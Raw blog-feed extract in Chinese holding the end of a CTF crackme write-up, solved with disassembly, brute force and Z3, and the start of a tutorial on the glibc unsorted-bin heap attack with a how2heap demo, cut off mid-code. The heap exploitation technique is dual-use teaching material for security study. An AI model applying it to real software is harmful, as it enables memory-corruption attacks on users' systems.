class="line">.text:0090D1A7                 xor     edi, edi</span><br><span class="line">.text:0090D1A9                 cmp     eax, DST</span><br><span class="line">.text:0090D1AF                 setnz   bh</span><br><span class="line">.text:0090D1B2                 and     bh, 1</span><br></pre></td></tr></table></figure><p>通过脚本分析可以发现，这个地方的逻辑会最终影响是否跳转到“成功”逻辑上，因此这个地方显然是一个关键的函数逻辑，其中这个<code>SRC</code>和<code>DST</code>分别对应字符串<code>eux2</code>和<code>nak4</code>。不过这个地方其本身是作为一个整数存在的。这段逻辑翻译一下的话就是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> num = GroupMul(sum, SRC);</span><br><span class="line"><span class="keyword">if</span>(num == DST)&#123;</span><br><span class="line"><span class="comment">//跳转正确</span></span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="comment">//输入错误</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>于是现在的关键变成了这个<code>GroupMul</code>函数。我们跟踪进去，会发现两个关键的比较逻辑：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">.text:008C5685                 mov     eax, [esi+5B0h] ; sum</span><br><span class="line">.text:008C568B                 mov     ecx, [eax]</span><br><span class="line">.text:008C568D                 mov     eax, [eax+4]</span><br><span class="line">.text:008C5690                 mov     edx, eax</span><br><span class="line">.text:008C5692                 shld    edx, ecx, 1Fh   </span><br><span class="line">.text:008C5696                 shr     eax, 1</span><br><span class="line">.text:008C5698                 mov     ecx, [esi+5B0h]</span><br><span class="line">.text:008C569E                 mov     [ecx+4], eax    </span><br><span class="line">.text:008C56A1                 mov     [ecx], edx     ;对64bit整数 sum 进行位移</span><br><span class="line">.text:008C56A3                 mov     eax, [esi+5B4h]</span><br><span class="line">.text:008C56A9                 mov     ecx, [eax]</span><br><span class="line">.text:008C56AB                 mov     eax, [eax+4]</span><br><span class="line">.text:008C56AE                 mov     edx, [esi+5B4h]</span><br><span class="line">.text:008C56B4                 mov     edi, [edx]</span><br><span class="line">.text:008C56B6                 mov     edx, [edx+4]</span><br><span class="line">.text:008C56B9                 mov     ebx, ecx</span><br><span class="line">.text:008C56BB                 imul    ebx, edx        </span><br><span class="line">.text:008C56BE                 mov     [esi+26Ch], eax</span><br><span class="line">.text:008C56C4                 mov     eax, ecx</span><br><span class="line">.text:008C56C6                 mul     edi</span><br><span class="line">.text:008C56C8                 add     edx, ebx        </span><br><span class="line">.text:008C56CA                 mov     ecx, [esi+26Ch]</span><br><span class="line">.text:008C56D0                 imul    ecx, edi</span><br><span class="line">.text:008C56D3                 add     edx, ecx</span><br><span class="line">.text:008C56D5                 sub     esp, 10h</span><br><span class="line">.text:008C56D8                 mov     ecx, esp</span><br><span class="line">.text:008C56DA                 mov     [ecx], eax</span><br><span class="line">.text:008C56DC                 mov     [ecx+4], edx</span><br><span class="line">.text:008C56DF                 mov     dword ptr [ecx+0Ch], 0</span><br><span class="line">.text:008C56E6                 mov     dword ptr [ecx+8], 0FFA1CF8Fh</span><br><span class="line">.text:008C56ED                 call    __aullrem       ; 求余数</span><br><span class="line">.text:008C56F2                 mov     ecx, [esi+5B4h]</span><br><span class="line">.text:008C56F8                 mov     [ecx+4], edx</span><br><span class="line">.text:008C56FB                 mov     [ecx], eax</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个关键逻辑处，会将当前我们传入的sum处理，之后会处理SRC变量，翻译一下就是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sum &gt;&gt;= <span class="number">1</span>;</span><br><span class="line">SRC = (SRC*SRC)%<span class="number">0xFFA1CF8F</span></span><br></pre></td></tr></table></figure><p>然后是第二段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">.text:008C561C                 mov     eax, [esi+5B8h] </span><br><span class="line">.text:008C5622                 mov     ecx, [eax]</span><br><span class="line">.text:008C5624                 mov     eax, [eax+4]</span><br><span class="line">.text:008C5627                 mov     edx, [esi+5B4h]</span><br><span class="line">.text:008C562D                 mov     edi, [edx]</span><br><span class="line">.text:008C562F                 mov     edx, [edx+4]</span><br><span class="line">.text:008C5632                 mov     ebx, ecx</span><br><span class="line">.text:008C5634                 imul    ebx, edx</span><br><span class="line">.text:008C5637                 mov     [esi+270h], eax</span><br><span class="line">.text:008C563D                 mov     eax, ecx</span><br><span class="line">.text:008C563F                 mul     edi             </span><br><span class="line">.text:008C5641                 add     edx, ebx</span><br><span class="line">.text:008C5643                 mov     ecx, [esi+270h]</span><br><span class="line">.text:008C5649                 imul    ecx, edi</span><br><span class="line">.text:008C564C                 add     edx, ecx</span><br><span class="line">.text:008C564E                 sub     esp, 10h</span><br><span class="line">.text:008C5651                 mov     ecx, esp</span><br><span class="line">.text:008C5653                 mov     [ecx], eax</span><br><span class="line">.text:008C5655                 mov     [ecx+4], edx</span><br><span class="line">.text:008C5658                 mov     dword ptr [ecx+0Ch], 0</span><br><span class="line">.text:008C565F                 mov     dword ptr [ecx+8], 0FFA1CF8Fh</span><br><span class="line">.text:008C5666                 call    __aullrem</span><br><span class="line">.text:008C566B                 mov     ecx, [esi+5B8h]</span><br><span class="line">.text:008C5671                 mov     [ecx+4], edx</span><br><span class="line">.text:008C5674                 mov     [ecx], eax</span><br></pre></td></tr></table></figure><p>这一段则是处理关键的返回值的。</p><p>将上面两段汇编合并一下，就能够得到一个这样的函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span>(sum != <span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(???)</span><br><span class="line">A = (A * SRC)%<span class="number">0xFFA1CF8F</span></span><br><span class="line">sum&gt;&gt;=<span class="number">1</span>;</span><br><span class="line">SRC = (SRC**<span class="number">2</span>)%<span class="number">0xFFA1CF8F</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调试中发现，第二段判断逻辑似乎不是每一次都会进入的，于是必然是有一个判断的逻辑在。顺着跳转的魔数返回寻找，能够找到这样的两段:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">.text:008C42D6                 and     edi, ecx</span><br><span class="line">.text:008C42D8                 sub     edi, 0FFFFFFFFh</span><br><span class="line">.text:008C42DB                 setnz   dh</span><br><span class="line">.text:008C42DE                 and     dh, 1</span><br><span class="line">.text:008C42E1                 mov     [esi+5BFh], dh</span><br><span class="line">....</span><br><span class="line">.text:008C55FB                 mov     eax, 38482BE4h</span><br><span class="line">.text:008C5600                 mov     ecx, 0D99D9385h</span><br><span class="line">.text:008C5605                 mov     dl, [esi+5BFh]  ; 这个地方影响跳转</span><br><span class="line">.text:008C560B                 test    dl, 1</span><br><span class="line">.text:008C560E                 cmovnz  eax, ecx</span><br><span class="line">.text:008C5611                 mov     [esi+5A8h], eax</span><br></pre></td></tr></table></figure><p>这两段代码正好决定了此时的程序会不会进入第二段影响返回值（这里设为A）的判断逻辑。通过调试发现，这里是在检查<strong>sum的最低位是否为1</strong>。那么此时整个判断逻辑就能够重现了:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span>(sum != <span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(sum&amp;<span class="number">0x1</span>)</span><br><span class="line">A = (A * SRC)%<span class="number">0xFFA1CF8F</span></span><br><span class="line">sum&gt;&gt;=<span class="number">1</span>;</span><br><span class="line">SRC = (SRC**<span class="number">2</span>)%<span class="number">0xFFA1CF8F</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="整体逻辑">整体逻辑</h3><p>至此，整个程序逻辑大概为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="built_in">list</span> = read_cont();<span class="comment">//这里还有输入格式检错</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> GlobalIndex[] = ConvertToNum(<span class="built_in">list</span>);</span><br><span class="line"><span class="type">long</span> <span class="type">long</span> sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; length(GlobalIndex); i++)&#123;</span><br><span class="line">sum += TargetMagic[GlobalIndex[i]];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(sum != <span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(sum&amp;<span class="number">0x1</span>)</span><br><span class="line">A = (A * SRC)%<span class="number">0xFFA1CF8F</span>;</span><br><span class="line">sum&gt;&gt;=<span class="number">1</span>;</span><br><span class="line">SRC = (SRC**<span class="number">2</span>)%<span class="number">0xFFA1CF8F</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (A == DST)&#123;</span><br><span class="line"><span class="comment">//程序正确</span></span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="comment">//输入错误</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="数据处理">数据处理</h2><p>有了整体逻辑，那么此时我们的目标就很明确了：</p><ul><li>通过选择<code>TargetMagic</code>中的数字，影响sum的值，从而影响跳转</li><li>通过在合适的位置跳转，让A的值能够与DST相等</li></ul><h3 id="逻辑化简">逻辑化简</h3><p>如果仔细思考上述逻辑的话，会发现其实这个运算过程<strong>就是SRC的sum次方模0xFFA1CF8F</strong>，于是还能进一步化简为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A = (SRC ** <span class="built_in">sum</span>)%<span class="number">0xFFA1CF8F</span></span><br></pre></td></tr></table></figure><p><em>这个时候，SRC的运算相当于是一个群</em></p><p>因此我们第一个目标就很明确了</p><ul><li>找到 SRC 的幂次 sum ，满足<code>(SRC**sum)%0xFFA1CF8F == DST</code></li></ul><p>于是尝试爆破:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">0x900000000</span>; i++) &#123;</span><br><span class="line">num = (num * src)% <span class="number">0xFFA1CF8F</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (num == dst) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;find answer!%lld\n&quot;</span>, i+<span class="number">1</span>);</span><br><span class="line"><span class="comment">// break;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (i % <span class="number">0x10000000</span> == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+]waiting.....&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里考虑到，<code>TargetMagic</code>中的数字最大也为0xfeb053fc，若9次都取到这个数字也不会超过0x900000000，所以这里爆破次数仅为<br>[0,0x900000000]<br>然后能够得到这几个数字:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[0x55121c15,0x154b3eba3,0x25455bb31,0x353f78abf,0x453995a4d,0x5533b29db,0x652dcf969,0x7527ec8f7,0x852209885]</span><br></pre></td></tr></table></figure><h3 id="targetmagic的规律">TargetMagic的规律</h3><p>不过之后就很麻烦了，如果要从这么多的数字里面找到几个数字，相加正好又是我们目标值中的其中一个，实在是太复杂了。瞎摆弄的时候，突然发现如下规律</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&#x27;0xf17b92&#x27;, &#x27;0x1e2f724&#x27;, &#x27;0x2d472b6&#x27;, &#x27;0x3c5ee48&#x27;....</span><br></pre></td></tr></table></figure><p>无意中对数组进行了排序（原先目的忘记了），突然发现第一个数字<strong>是后几个数字的倍数</strong>，于是想到</p><blockquote><p>会不会是整个数组都是由这个数字生成的呢？</p></blockquote><p>于是试着找了一下，总共有270个数字是由其生成的。发现这个思路可行，于是写了个脚本，找到了其中所有的生成元:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">tom =[<span class="number">0</span>]*<span class="number">9</span></span><br><span class="line">tom[<span class="number">0</span>] = <span class="number">0xf17b92</span>   <span class="comment"># 270</span></span><br><span class="line">tom[<span class="number">1</span>] = <span class="number">0x83f06b2</span>  <span class="comment"># 30</span></span><br><span class="line">tom[<span class="number">2</span>] = <span class="number">0xf0984ae</span>  <span class="comment"># 16</span></span><br><span class="line">tom[<span class="number">3</span>] = <span class="number">0x13a9fc46</span> <span class="comment"># 12</span></span><br><span class="line">tom[<span class="number">4</span>] = <span class="number">0x173d416a</span> <span class="comment"># 10</span></span><br><span class="line">tom[<span class="number">5</span>] = <span class="number">0x2484d482</span> <span class="comment"># 6</span></span><br><span class="line">tom[<span class="number">6</span>] = <span class="number">0x33205cb6</span> <span class="comment"># 4</span></span><br><span class="line">tom[<span class="number">7</span>] = <span class="number">0x5535efda</span> <span class="comment"># 2</span></span><br><span class="line">tom[<span class="number">8</span>] = <span class="number">0x7fd0e7c7</span> <span class="comment"># 1</span></span><br></pre></td></tr></table></figure><p>于是这个题目突然之间转变成了如下的形式</p><blockquote><p>将这几个数字设为变量a,b,c,d…然后进行一个多项式求解，等式的右边就是之前爆破出来的幂次。哪一个幂次能找到合适的解，就利用这个解反推出我们选取的TargetMagic</p></blockquote><p>于是这里使用Z3进行计算:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8    -*-</span></span><br><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> copy</span><br><span class="line">ans = [Int(<span class="string">&#x27;x&#x27;</span>), Int(<span class="string">&#x27;y&#x27;</span>), Int(<span class="string">&#x27;z&#x27;</span>),Int(<span class="string">&#x27;a&#x27;</span>), Int(<span class="string">&#x27;b&#x27;</span>), Int(<span class="string">&#x27;c&#x27;</span>),Int(<span class="string">&#x27;d&#x27;</span>), Int(<span class="string">&#x27;e&#x27;</span>), Int(<span class="string">&#x27;f&#x27;</span>)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gen_solver</span>():</span><br><span class="line">    solver = Solver()</span><br><span class="line"></span><br><span class="line">    solver.add(ans[<span class="number">0</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">0</span>]&lt;=<span class="number">270</span>)</span><br><span class="line">    solver.add(ans[<span class="number">1</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">1</span>]&lt;=<span class="number">30</span>)</span><br><span class="line">    solver.add(ans[<span class="number">2</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">2</span>]&lt;=<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">    solver.add(ans[<span class="number">3</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">3</span>]&lt;=<span class="number">12</span>)</span><br><span class="line">    solver.add(ans[<span class="number">4</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">4</span>]&lt;=<span class="number">10</span>)</span><br><span class="line">    solver.add(ans[<span class="number">5</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">5</span>]&lt;=<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">    solver.add(ans[<span class="number">6</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">6</span>]&lt;=<span class="number">4</span>)</span><br><span class="line">    solver.add(ans[<span class="number">7</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">7</span>]&lt;=<span class="number">2</span>)</span><br><span class="line">    solver.add(ans[<span class="number">8</span>]&gt;=<span class="number">0</span>)</span><br><span class="line">    solver.add(ans[<span class="number">8</span>]&lt;=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> solver</span><br><span class="line"></span><br><span class="line">i = [<span class="number">0x55121c15</span>,<span class="number">0x154b3eba3</span>,<span class="number">0x25455bb31</span>,<span class="number">0x353f78abf</span>,<span class="number">0x453995a4d</span>,<span class="number">0x5533b29db</span>,<span class="number">0x652dcf969</span>,<span class="number">0x7527ec8f7</span>,<span class="number">0x852209885</span>]</span><br><span class="line">toms = [<span class="number">15825810</span>, <span class="number">138348210</span>, <span class="number">252282030</span>, <span class="number">329907270</span>, <span class="number">389890410</span>, <span class="number">612684930</span>, <span class="number">857758902</span>, <span class="number">1429598170</span>, <span class="number">2144397255</span>]</span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> i:</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">pow</span>(<span class="number">1702197298</span>, each, <span class="number">0xFFA1CF8F</span>) != <span class="number">1851878196</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;wrong!&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> each <span class="keyword">in</span> i:</span><br><span class="line">    solver = gen_solver()</span><br><span class="line">    solver.add(ans[<span class="number">0</span>] * toms[<span class="number">0</span>] + </span><br><span class="line">               ans[<span class="number">1</span>] * toms[<span class="number">1</span>] +</span><br><span class="line">               ans[<span class="number">2</span>] * toms[<span class="number">2</span>] +</span><br><span class="line">               ans[<span class="number">3</span>] * toms[<span class="number">3</span>] + </span><br><span class="line">               ans[<span class="number">4</span>] * toms[<span class="number">4</span>] +</span><br><span class="line">               ans[<span class="number">5</span>] * toms[<span class="number">5</span>] + </span><br><span class="line">               ans[<span class="number">6</span>] * toms[<span class="number">6</span>] + </span><br><span class="line">               ans[<span class="number">7</span>] * toms[<span class="number">7</span>] +</span><br><span class="line">               ans[<span class="number">8</span>] * toms[<span class="number">8</span>] == each)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> solver.check() == sat:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;find&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(each)</span><br><span class="line">        m = solver.model()</span><br><span class="line">        s = []</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(ans)):</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;%d,&quot;</span>%(m[ans[i]].as_long() * toms[i]),</span><br></pre></td></tr></table></figure><p>之后能够发现，在幂次为<code>0x453995a4d</code>的时候，能够得到一个解：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1171109940, 553392840, 3027384360, 3958887240, 1559561640, 2450739720, 857758902, 2859196340, 2144397255</span><br></pre></td></tr></table></figure><p>我们找到其中每一个下标，最后翻出其位置并且排序（题目要求），就能够得到最终的答案:<br><img src="/2018/10/07/%E7%9C%8B%E9%9B%AA2018-Rev%E5%8F%B9%E6%81%AF%E4%B9%8B%E5%A2%99/tanxi02.png" alt=""><br>完结撒花！</p><h2 id="总结">总结</h2><ol><li>该利用工具的时候要学会用工具。一开始打算硬看，发现实在是没有办法把跳转之间的关系理清楚，最后用了ipapython虽然没有起到关键的作用，但是辅助了整个分析流程，让思路清晰了很多</li><li>思路中途打结过几次，冷静休息一下反而能够帮助思路的进行</li><li>这个题目似乎用了ollvm进行的混淆，其实本来手头上有一个工具可以试着反混淆但是没有尝试，果然还是应该多学一些东西。</li><li>idapython真好用，感觉可以自己试着写一个污点分析（吗？）的工具。</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;看雪大佬太强了，菜鸡误入结果一个国庆都飞掉了。。。&lt;/p&gt;
&lt;h2 id=&quot;more-看雪2018-rev叹息之墙&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="z3" scheme="https://showlinkroom.me/tags/z3/"/>
    
  </entry>
  
  <entry>
    <title>heapoverflow之unsortedbin_attack</title>
    <link href="https://showlinkroom.me/2018/09/08/heapoverflow%E4%B9%8Bunsortedbin-attack/"/>
    <id>https://showlinkroom.me/2018/09/08/heapoverflow%E4%B9%8Bunsortedbin-attack/</id>
    <published>2018-09-08T08:36:59.000Z</published>
    <updated>2020-07-16T13:31:30.388Z</updated>
    
    <content type="html"><![CDATA[<p>做了一个pwn题一口气更新了好多的文章。。pwnhub实在是tql</p><span id="more"></span><h1 id="unsorted-bin-attack">unsorted bin attack</h1><p>这种攻击方式是一个跳板。通过这种攻击，我们能够实现一次任意位置写固定值(unsorted_chunks(av)，也就是当前main_arena中存放unsorted bin 的地址)</p><h3 id="攻击前提">攻击前提</h3><p>能够写一个被free了的堆</p><ul><li>UAF</li><li>chunk overlap</li></ul><h3 id="攻击效果">攻击效果</h3><p>将某个地址写为unsorted_chunks(av).</p><h3 id="利用方式">利用方式</h3><ol><li>将 global_max_fast 修改，从而能够获得很大的堆块的fastbin，配合完成 fastbin attack</li><li>修改<code>_IO_list_all</code>完成攻击</li></ol><h3 id="注意事项">注意事项</h3><ul><li>被修改了bk的unsorted bin 在malloc的时候必须<strong>正好分配其大小，不然会触发报错。因为若分配大小不同，则会发生unsorted bin 遍历导致crash</strong></li><li>同时要保证当前的unsorted bin堆块在堆块链中的<strong>最后一个</strong>(unsorted bin是FIFO)</li></ul><h2 id="实例">实例</h2><p>我们这里拿how2heap的一个例子来看一下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"> </span><br><span class="line">  <span class="comment">//......</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> stack_var=<span class="number">0</span>;</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Let&#x27;s first look at the target we want to rewrite on stack:\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;%p: %ld\n\n&quot;</span>, &amp;stack_var, stack_var);</span><br><span class="line"></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">long</span> *p=<span class="built_in">malloc</span>(<span class="number">400</span>);</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">malloc</span>(<span class="number">500</span>);</span><br><span class="line"></span><br><span class="line">  <span class="built_in">free</span>(p);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer &quot;</span></span><br><span class="line">       <span class="string">&quot;point to %p\n&quot;</span>,(<span class="type">void</span>*)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line">  p[<span class="number">1</span>]=(<span class="type">unsigned</span> <span class="type">long</span>)(&amp;stack_var<span class="number">-2</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Now emulating a vulnerability that can overwrite the victim-&gt;bk pointer\n&quot;</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n&quot;</span>,(<span class="type">void</span>*)p[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">malloc</span>(<span class="number">400</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;%p: %p\n&quot;</span>, &amp;stack_var, (<span class="type">void</span>*)stack_var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>去掉了一些没用的代码。这里帮忙理解一下:<br>由于在unsorted bin 的malloc过程中，源代码的逻辑如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span 